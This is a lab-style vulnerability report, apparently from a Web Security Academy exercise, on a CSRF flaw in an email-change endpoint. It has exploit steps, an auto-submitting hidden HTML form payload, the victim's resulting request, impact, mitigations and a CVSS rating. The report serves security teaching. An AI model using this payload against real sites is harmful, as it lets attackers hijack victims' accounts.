

Title of Issue

Cross-Site Request Forgery (CSRF) — No Defenses

Description

The application's email-change functionality is vulnerable to Cross-Site Request Forgery (CSRF). The `POST /my-account/change-email` endpoint does not implement any CSRF protection — there is no token, no `Origin` / `Referer` validation, and no `SameSite` cookie restriction. An attacker can host a page containing a hidden auto-submitting HTML form that, when visited by an authenticated victim, causes the victim's browser to silently submit the email-change request with the victim's own session cookies.

Affected Endpoint: `POST /my-account/change-email` **Missing Controls:** CSRF token, `SameSite` cookie attribute, `Origin` validation

Steps to Exploit

1. Log in as `wiener:peter` and visit `/my-account` to observe the email-change form structure.
2. Note the form submits a `POST` request with only the `email` parameter — no CSRF token is included.
3. Navigate to the exploit server via the lab banner.
4. Enter the following CSRF payload in the body field:

```
<form method="POST" action="https://<lab-id>.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="hacker@evil-user.net">
</form>
<script>document.forms[0].submit();</script>
```

5. Click **Store** to save the exploit.
 6. Click **Deliver exploit to victim**.
 7. The victim's browser automatically submits the form, changing their account email.
-

Proof of Concept

Exploit HTML:

```
<form method="POST" action="https://<lab-id>.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="hacker@evil-user.net">
</form>
<script>document.forms[0].submit();</script>
```

Resulting HTTP Request (sent by victim's browser):

```
POST /my-account/change-email HTTP/1.1
Host: <lab-id>.web-security-academy.net
Cookie: session=<victim-session-cookie>
```

```
Content-Type: application/x-www-form-urlencoded
Referer: https://exploit-<id>.exploit-server.net/exploit

email=hacker%40evil-user.net
```

Key observation: The victim's browser automatically attaches the session cookie to the cross-origin request. Since the server performs no CSRF validation, it accepts the request as legitimate and updates the victim's email.

Impact

- Victim's account email is changed to attacker-controlled address without victim's knowledge.
- Attacker immediately triggers a password reset to the new email, achieving full account takeover.
- No user interaction beyond visiting the attacker's page is required.
- Attack is invisible to the victim — no visible UI or prompts.
- Applicable to any state-changing operation lacking CSRF protection (password change, fund transfer, settings update).

Mitigation / Remediation

1. **Implement synchronised CSRF tokens** — include a unique, secret, unpredictable token in every state-changing form and validate it server-side.
2. **Set SameSite=Strict or SameSite=Lax** on session cookies — prevents the browser from sending cookies in cross-site requests.
3. **Validate the Origin and Referer headers** server-side to ensure requests originate from the expected domain.
4. **Require re-authentication** for sensitive actions such as email or password changes.
5. **Use the Double Submit Cookie pattern** as an alternative CSRF mitigation for stateless architectures.

CVSS Score

CVSS v3.1 Score: 6.5 (Medium) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

CVSS Justification

Metric	Value	Rationale
Attack Vector	Network	Delivered via a cross-origin HTTP request
Attack Complexity	Low	Simple HTML form, no prerequisites
Privileges Required	None	Attacker requires no account on the target
User Interaction	Required	Victim must visit the attacker's page
Scope	Unchanged	Impact limited to the victim's account
Confidentiality Impact	None	No data is read by the attacker
Integrity Impact	High	Account email is changed, enabling full takeover

Availability Impact	None	Service remains available
---------------------	------	---------------------------